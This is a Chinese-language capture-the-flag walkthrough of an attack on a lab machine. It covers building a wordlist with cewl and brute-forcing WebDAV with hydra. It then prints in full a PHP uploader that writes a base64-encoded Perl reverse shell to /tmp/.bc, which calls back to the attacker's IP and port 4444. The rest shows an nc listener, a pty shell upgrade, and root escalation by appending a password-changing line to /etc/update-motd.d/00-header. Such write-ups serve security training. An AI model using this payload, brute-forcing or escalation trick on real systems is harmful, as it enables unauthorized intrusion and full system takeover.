

利用dirb扫描目录

- WebDAV 基于 HTTP 协议的通信协议,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,使应用程序可对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。
-
- 常用的文件共享有三种:FTP、Samba、WebDAV,它们各有优缺点,了解后才能更好地根据自己的需求选择方案。

现在考虑通过爆破的方式去登录 webdav,但是爆破需要一个好用的字典这里可以用 cewl 来制作字典
cewl 会通过爬行网页,把网页可能的单词爬取下来生成字典
cewl http://192.168.103.180/ -w bp.txt

字典有了现在就是爆破了,可以用 九头蛇(hydra)来爆破,
非常好用hydra -L bp.txt -P bp.txt 192.168.103.180 http-get /webdav
前面是字典路径用户名密码,然后地址,协议,目标网站路径

账号密码爆破成功
- 账号:yamdoot
- 密码:Swarg

- ┌──(root💀kali)-[~/桌面]
- └─# cadaver http://192.168.103.180/webdav/
-
- function which($pr) {
- $path = execute("which $pr");
- return ($path ? $path : $pr);
- }
- function execute($cfe) {
- $res = '';
- if ($cfe) {
- if(function_exists('exec')) {
- @exec($cfe,$res);
- $res = join("\n",$res);
- } elseif(function_exists('shell_exec')) {
- $res = @shell_exec($cfe);
- } elseif(function_exists('system')) {
- @ob_start();
- @system($cfe);
- $res = @ob_get_contents();
- @ob_end_clean();
- } elseif(function_exists('passthru')) {
- @ob_start();
- @passthru($cfe);
- $res = @ob_get_contents();
- @ob_end_clean();
- } elseif(@is_resource($f = @popen($cfe,"r"))) {
- $res = '';
- while(!@feof($f)) {
- $res .= @fread($f,1024);
- }
- @pclose($f);
- }
- }
- return $res;
- }
- function cf($fname,$text){
- if($fp=@fopen($fname,'w')) {
- @fputs($fp,@base64_decode($text));
- @fclose($fp);
- }
- }
- $yourip = "192.168.103.129";
- $yourport = '4444';
- $usedb = array('perl'=>'perl','c'=>'c');
- $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
- "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
- "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
- "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
- "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
- "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
- "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
- cf('/tmp/.bc',$back_connect);
- $res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
- ?>


- ┌──(root💀kali)-[~]
- └─# nc -lvvp 4444
-
- 再访问http://192.168.103.180/webdav/1.php 就可以监听成功
-
- python3 -c 'import pty; pty.spawn("/bin/bash")' #交互式shell
-




前者是Brainfuck,后者就是base64,分别解码出来
- Brainfuck:chitragupt
- base64:yamdoot:Swarg

因为靶机开放了 ssh服务,猜测上面的应该是某个用户的密码才对,尝试登录真的登进去了
拿到第一个 flag
密码:chitragupt

现在就是重要的提权阶段了,这次用的是 motd提权 进到/etc/update-motd.d目录,
执行echo "echo 'root:root'|sudo chpasswd">>00-header 看见 00-header 的最下面多了一行我们写的命令,意思就是修改 root的密码为 root


重新连接 ssh ,就可以提权 root权限了
拿到第二个的flag
账号密码都是root
